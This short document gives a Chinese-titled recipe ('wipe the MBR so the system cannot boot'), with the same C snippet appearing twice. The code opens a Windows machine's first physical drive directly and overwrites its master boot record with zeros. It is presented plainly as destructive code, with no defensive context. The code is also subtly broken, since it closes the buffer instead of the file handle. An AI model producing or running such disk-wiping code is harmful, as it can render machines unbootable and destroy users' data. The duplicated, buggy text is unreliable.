清除 MBR 使系统无法启动
#include <stdio.h>
int main()
{
FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
char mbr[512] = {0};
fwrite(mbr, sizeof(mbr), 1, disk);
fclose(mbr);
return 0;
}
清除 MBR 使系统无法启动
#include <stdio.h>
int main()
{
FILE *disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
char mbr[512] = {0};
fwrite(mbr, sizeof(mbr), 1, disk);
fclose(mbr);
return 0;
}